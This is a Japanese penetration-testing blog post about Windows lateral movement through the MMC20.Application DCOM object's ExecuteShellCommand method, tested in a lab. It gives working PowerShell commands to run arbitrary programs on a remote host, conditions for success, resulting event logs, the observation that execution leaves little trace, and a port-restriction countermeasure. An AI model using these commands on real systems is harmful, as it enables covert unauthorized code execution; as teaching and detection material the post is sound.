社会人から始めるペネトレーションテスト

情報セキュリティ系の話が主ですが、全く関係ない話を投稿することもあります。

MMC を用いた Windows 環境での Lateral Movement

前回の投稿では PsExec.exe を用いた Windows ドメインネットワークでの Lateral Movement について触れました。今回は別の種類の攻撃手法に関する話題にしようかと考えていましたが、つい先週に新しい Lateral Movement の手法が公開されたため、本投稿ではその手法について取り扱います。新たに公開された Lateral Movement の手法は、以下の Web サイトにて公開されています。


手法の概要

新しい手法というと大層に聞こえますが、手法の内容自体はそこまで難しいものではありません。Windows システムを管理するために用いる Microsoft 管理コンソール (MMC: Microsoft Management Console) のメソッドの 1 つに、「ExecuteShellCommand」という遠隔端末の操作に用いることができるコマンドがあるというだけの話です。ExecuteShellCommand メソッドについては、以下の Web サイトに解説が記載されています。

https://msdn.microsoft.com/en-us/library/aa815396(v=vs.85).aspx?tduid=(9ac47ca6653c7b945b8583ba0ba6ab78)(256380)(2459594)(TnL5HPStwNw-yu9qD6YhYkxZ_b7dkrOESQ)()

影響範囲

ExecuteShellCommand の説明を見ると分かりますが、メソッドのサポート対象となっている以下の Microsoft Windows が当該手法の影響を受けると考えられます。

本記事の検証環境

検証環境は以下に従います。

[対象ホスト]
OS: Windows 7 Professional SP1, 32 bit
IP Address: 172.16.214.132
ホスト名: VICTIM

[侵入元ホスト]
OS: Windows 8.1 Pro, 64 bit
IP Address: 172.16.214.137
ホスト名: pentest

手法の手順

「遠隔の端末を管理する」という用途のコマンドであるため、侵入対象となる端末で管理者権限が実行できている状態でなければなりません。例としては、Pass-the-Hash などの手法を用いて、ビルドイン Administrator アカウントで対象端末への認証に成功していることが考えられます。認証に成功したら、まず以下のコマンドを実行して、対象端末の MMC のオブジェクトを呼び出します。

PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "<対象ホストのアドレス>"))

メソッドの呼び出しに失敗した場合は例外が出力されますが、成功した場合は特に何も出力されません。MMC のオブジェクトの呼び出しに成功したら、あとは ExecuteShellCommand メソッドを用いて好きなコマンドを実行できます。以下のコマンドを実行することにより対象端末で任意のコマンドを実行することができます。

PS C:\Windows\system32> $com.Document.ActiveView.ExecuteShellCommand("<実行バイナリのパス>", $null, "<実行バイナリのコマンドライン引数 (何も無い場合は「$null」を指定)>", "7")

コマンドの実行に関しても、失敗した場合は例外が出力されますが、成功した場合は特に何も出力されません。
対象端末の IP アドレスを 172.16.214.132 とします。単純に電卓を起動する場合は以下のように実行します。

PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "172.16.214.132"))

PS C:\Windows\system32> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $null, $null, "7")

対象ホストにログインしプロセスを確認して、以下のように calc.exe が起動していれば成功です。

PS C:\Windows\system32> Get-Process | findstr calc
    155      24     8684      18992   100     0.16   3984   2 calc

PS C:\Windows\system32>

手法の実行に必要な条件

まず TCP ポートについてですが、前回の記事で取り上げた PsExec.exe とは違い、当該手法は RPC を用いて実行されるため、管理共有にアクセスできる必要はありません。Windows Firewall で TCP 139 番ポートと TCP 445 番ポートへのアクセスを遮断しても、MMC のオブジェクトを呼び出すことができます。その代わりに MMC のオブジェクトの呼び出しには TCP 135 番ポートが用いられます。MMC オブジェクトを用いた命令の実行には、TCP 49152 番ポートなどの RPC で用いるハイポートが利用されるため、これらの TCP ポートへのアクセスが遮断されている場合は、当該手法を悪用して遠隔コード実行をすることはできません。

認証を通す必要があるユーザですが、権限昇格せずに管理者権限を行使できるアカウントである必要があります。UAC が有効である場合は、Administrators グループに所属しているアカウントであっても、管理者権限の行使に権限昇格が必要となるため、認証を通したとしても以下のように UnauthorizedAccessException が発生し、MMC のオブジェクトの呼び出しに失敗します。

PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "172.16.214.13
2"))
"1" 個の引数を指定して "CreateInstance" を呼び出し中に例外が発生しました: "CLSID {49B2791A-B1AE-4C90-9B8E-E860BA07F889}
 を含むリモート コンポーネントの COM クラス ファクトリをコンピューター 172.16.214.132 から取得中に、次のエラーが発生し
ました: 80070005 172.16.214.132。"
発生場所 行:1 文字:1
+ $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application" ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : UnauthorizedAccessException

PS C:\Windows\system32>

UAC が無効である場合は、対象ホストで Administrators グループに所属している何れかのアカウントで認証に成功していれば、当該手法を用いて遠隔コード実行することが可能です。
以上をまとめると、当該手法が成功するためには以下の条件が全て成立している必要があります。

  • TCP 135 番ポートおよび RPC に用いる TCP のハイポートにアクセス可能である。
  • 対象ホストで権限昇格せずに管理者権限を行使できるアカウントでの認証 (UAC が有効である場合はビルドイン Administrator) に成功している。

実行痕跡

当該手法を用いた場合の痕跡についても調査しました。まず以下のコマンドを実行した際に発生するログについて調べました。

PS C:\Windows\system32> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "172.16.214.132"))

この場合は eventvwr.exe の Windows Logs の Security に、以下の 2 種類のログが残ります。

ログの名前:         Security
ソース:           Microsoft-Windows-Security-Auditing
日付:            2017/01/09 21:28:00
イベント ID:       4672
タスクのカテゴリ:      特殊なログオン
レベル:           情報
キーワード:         成功の監査
ユーザー:          N/A
コンピューター:       VICTIM
説明:
新しいログオンに特権が割り当てられました。

サブジェクト:
	セキュリティ ID:		S-1-5-21-4277999076-337875558-3304608076-500
	アカウント名:		Administrator
	アカウント ドメイン:		VICTIM
	ログオン ID:		0xfcb3e

特権:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
ログの名前:         Security
ソース:           Microsoft-Windows-Security-Auditing
日付:            2017/01/09 21:28:00
イベント ID:       4624
タスクのカテゴリ:      ログオン
レベル:           情報
キーワード:         成功の監査
ユーザー:          N/A
コンピューター:       VICTIM
説明:
アカウントが正常にログオンしました。

サブジェクト:
	セキュリティ ID:		S-1-0-0
	アカウント名:		-
	アカウント ドメイン:		-
	ログオン ID:		0x0

ログオン タイプ:			3

新しいログオン:
	セキュリティ ID:		S-1-5-21-4277999076-337875558-3304608076-500
	アカウント名:		Administrator
	アカウント ドメイン:		VICTIM
	ログオン ID:		0xfcb3e
	ログオン GUID:		{00000000-0000-0000-0000-000000000000}

プロセス情報:
	プロセス ID:		0x0
	プロセス名:		-

ネットワーク情報:
	ワークステーション名:	PENTEST
	ソース ネットワーク アドレス:	172.16.214.137
	ソース ポート:		49197

詳細な認証情報:
	ログオン プロセス:		NtLmSsp 
	認証パッケージ:	NTLM
	移行されたサービス:	-
	パッケージ名 (NTLM のみ):	NTLM V2
	キーの長さ:		128

このイベントは、ログオン セッションの作成時に生成されます。このイベントは、アクセス先のコンピューターで生成されます。

サブジェクトのフィールドは、ログオンを要求したローカル システム上のアカウントを示します。これはサーバー サービスなどのサービスまたは Winlogon.exe や Services.exe などのローカル プロセスであることが最も一般的です。

ログオン タイプのフィールドは、発生したログオンの種類を示します。最も一般的なタイプは、2 (対話型) と 3 (ネットワーク) です。

新しいログオンのフィールドは、新しいログオンを作成するアカウント、つまりログオン先のアカウントを示します。

ネットワークのフィールドは、リモート ログオン要求の送信元を示します。ワークステーション名は常に表示されるとは限らず、場合によっては空白のままであることがあります。

認証情報のフィールドは、この特定のログオン要求に関する詳細情報を示します。
	- ログオン GUID は、このイベントを KDC イベントに関連付ける場合に使用できる一意の識別子です。
	- 移行されたサービスは、このログオン要求に関与した中間サービスを示します。
	- パッケージ名は、NTLM プロトコルのうち使用されたサブプロトコルを示します。
	- キーの長さは、生成されたセッション キーの長さを示します。これは、セッション キーが要求されなかった場合は 0 になります。

とりあえず「管理者権限で何か実行された」程度のことはわかります。しかし、これらの痕跡は同様の手法を実行した際に発生することが多いため、当該手法によるものと断定することは難しいと考えられます。
次に以下のコマンドを実行した場合です。

PS C:\Windows\system32> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe", $null, $null, "7")

残念ながら eventvwr.exe に保存されるログには、以上のコマンドによって発生したと考えられる痕跡を確認することができませんでした。
当該手法を悪用されて遠隔コード実行されてしまったとしても、当該手法によるものであると断定することは難しいと考えられ、どのような命令の実行を強制されてしまったかを知ることも難しいと考えられます。よって、攻撃の痕跡を隠して Lateral Movement を行う用途で、攻撃者に悪用されやすい手法であると考えられます。

対策

対策としては TCP 135 番ポートを始めとした、RPC に用いられる TCP ポートへのアクセスを制限することが有効であると考えられます。